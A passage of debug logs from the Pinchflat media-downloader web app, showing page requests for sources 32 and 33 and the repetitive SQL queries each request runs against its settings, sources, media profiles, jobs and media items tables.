s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:10.211 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=170.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:10.212 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=169.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:10.213 [info] Sent 200 in 7ms 06:03:10.359 [info] GET /sources/32/edit 06:03:10.360 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "32"} Pipelines: [:browser] 06:03:10.361 [debug] QUERY OK source="sources" db=0.4ms idle=151.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:03:10.362 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=151.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 06:03:10.363 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=151.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:10.364 [debug] QUERY OK source="settings" db=0.3ms idle=150.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:10.365 [debug] QUERY OK source="settings" db=0.3ms idle=55.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:10.373 [info] Sent 200 in 13ms 06:03:10.528 [info] GET /sources/33 06:03:10.529 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "33"} Pipelines: [:browser] 06:03:10.530 [debug] QUERY OK source="sources" db=0.5ms idle=168.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:03:10.531 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=168.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:03:10.532 [debug] QUERY OK source="tasks" db=0.6ms queue=0.1ms idle=168.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [33, "executing", "available", "scheduled", "retryable"] 06:03:10.533 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=169.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7274] 06:03:10.534 [debug] QUERY OK source="settings" db=0.2ms idle=168.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:10.535 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:10.536 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:10.540 [debug] QUERY OK source="sources" db=0.5ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:03:10.543 [debug] QUERY OK source="media_items" db=1.9ms idle=7.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 06:03:10.546 [debug] QUERY OK source="media_items" db=2.7ms queue=0.1ms idle=9.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 06:03:10.548 [debug] QUERY OK source="sources" db=0.5ms idle=12.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:03:10.549 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=12.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [33] 06:03:10.551 [debug] QUERY OK source="media_items" db=1.2ms idle=9.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 06:03:10.554 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=10.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:03:10.557 [debug] QUERY OK source="media_items" db=1.9ms idle=8.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [33] 06:03:10.560 [debug] QUERY OK source="media_items" db=2.8ms queue=0.1ms idle=9.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 06:03:10.565 [info] Sent 200 in 36ms 06:03:10.715 [info] GET /sources/33/ 06:03:10.715 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "33"} Pipelines: [:browser] 06:03:10.716 [debug] QUERY OK source="sources" db=0.6ms idle=166.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:03:10.717 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=166.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:03:10.719 [debug] QUERY OK source="tasks" db=0.6ms queue=0.1ms idle=163.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [33, "executing", "available", "scheduled", "retryable"] 06:03:10.720 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=162.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7274] 06:03:10.721 [debug] QUERY OK source="settings" db=0.3ms idle=159.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:10.721 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:10.723 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:10.727 [debug] QUERY OK source="sources" db=0.5ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:03:10.729 [debug] QUERY OK source="media_items" db=1.7ms idle=8.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [33] 06:03:10.733 [debug] QUERY OK source="media_items" db=2.6ms idle=9.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 06:03:10.734 [debug] QUERY OK source="sources" db=0.3ms idle=12.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:03:10.735 [debug] QUERY OK source="media_items" db=0.3ms idle=11.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [33] 06:03:10.736 [debug] QUERY OK source="media_items" db=0.8ms idle=8.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 06:03:10.738 [debug] QUERY OK source="sources" db=0.3ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:03:10.740 [debug] QUERY OK source="media_items" db=1.3ms idle=5.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [33] 06:03:10.742 [debug] QUERY OK source="media_items" db=1.3ms idle=6.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [33, 10, 0] 06:03:10.744 [info] Sent 200 in 29ms 06:03:10.907 [info] GET /sources/33/ 06:03:10.907 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "33"} Pipelines: [:browser] 06:03:10.908 [debug] QUERY OK source="sources" db=0.4ms idle=172.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:03:10.909 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=172.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:03:10.910 [debug] QUERY OK source="tasks" db=0.6ms idle=171.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [33, "executing", "available", "scheduled", "retryable"] 06:03:10.911 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=170.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7274] 06:03:10.912 [debug] QUERY OK source="settings" db=0.2ms idle=170.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:10.912 [debug] QUERY OK source="settings" db=0.0ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", 